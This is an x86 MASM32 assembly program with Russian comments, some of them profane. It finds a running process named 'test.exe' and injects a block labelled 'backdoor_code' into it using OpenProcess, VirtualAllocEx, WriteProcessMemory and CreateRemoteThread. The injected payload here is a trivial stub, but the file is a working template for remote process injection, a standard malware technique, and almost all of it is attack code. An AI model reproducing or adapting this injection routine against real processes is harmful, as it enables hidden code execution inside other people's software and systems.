.386
.model flat,stdcall
option casemap:none
find_PID PROTO
myInject PROTO
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.const
.data?
hSnapshot dd ? ; Хэндл снимка процессов
hProcess HANDLE ? ; Хэндл нужного мне процесса
lpMemory HANDLE ? ; Хэндл блока памяти
dwTid HANDLE ?
need_memory dd ? ; Размер блока памяти, который я хочу захапать
.data
pid HANDLE 0 ; PID нужного мне процесса
szProcessName db "test.exe",0 ; Имя процесса, который я ищу
p_entry PROCESSENTRY32 <> ; Структура для инфы о процессе
.code
start:
invoke find_PID
.if pid==0
;
.else
invoke myInject
.endif
invoke ExitProcess,0
find_PID proc
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; Делаем снимок системы
inc eax
test eax,eax
jz exit ; Если ошибка - выходим
dec eax
mov hSnapshot,eax ; Сохраняем хэндл снимка
mov p_entry.dwSize,sizeof PROCESSENTRY32
invoke Process32First,hSnapshot,addr p_entry ; Получаем инфу о первом процессе
test eax,eax
jz exit ; Если ошибка - выходим
jmp cmp__ ; Отправляем PID на проверку
p_next__:
mov p_entry.dwSize,sizeof PROCESSENTRY32
invoke Process32Next,hSnapshot,addr p_entry ; Получаем инфу о следующем процессе
test eax,eax
jz exit ; Если ошибка - выходим
cmp__:
invoke lstrcmp,addr szProcessName,addr p_entry.szExeFile ; Если это наш процесс - заебись :)
test eax,eax
jz find_it__ ; Ага, наш)
jmp p_next__ ; Неа, нифига не наш(
find_it__:
mov eax,p_entry.th32ProcessID
mov pid,eax ; Сохраняем PID нужной нам проги
invoke CloseHandle,hSnapshot
exit:
ret ; Возврат из подпрограммы
find_PID endp
myInject proc
jmp backdoor_code_end
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
backdoor_code:
push 9
ret
backdoor_code_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,backdoor_code_end
lea ecx,backdoor_code
sub eax,ecx
mov need_memory,eax
; Открываю процесс:
invoke OpenProcess,PROCESS_ALL_ACCESS or PROCESS_VM_WRITE or PROCESS_CREATE_THREAD or PROCESS_CREATE_PROCESS,FALSE,pid
test eax,eax
jz exit__ ; Если не открыл - на выход
mov hProcess,eax ; Сохраняю хэндл процесса
invoke VirtualAllocEx,hProcess,0,need_memory,MEM_COMMIT,PAGE_EXECUTE ; Выделяю 1000 байт
test eax,eax
jz exit__ ; Если не выделил - выхожу
mov lpMemory,eax ; Сохраняю хэндл памяти
; Пишу свой код в память процесса:
invoke WriteProcessMemory,hProcess,lpMemory,addr backdoor_code,need_memory,0
dec eax
test eax,eax
jnz exit__ ; Если записать не удалось - выхожу
inc eax
; Создаю удалённый поток, указывая на свой код:
invoke CreateRemoteThread,hProcess,0,0,lpMemory,lpMemory,0,0
exit__:
invoke CloseHandle,hProcess
ret
myInject endp
End start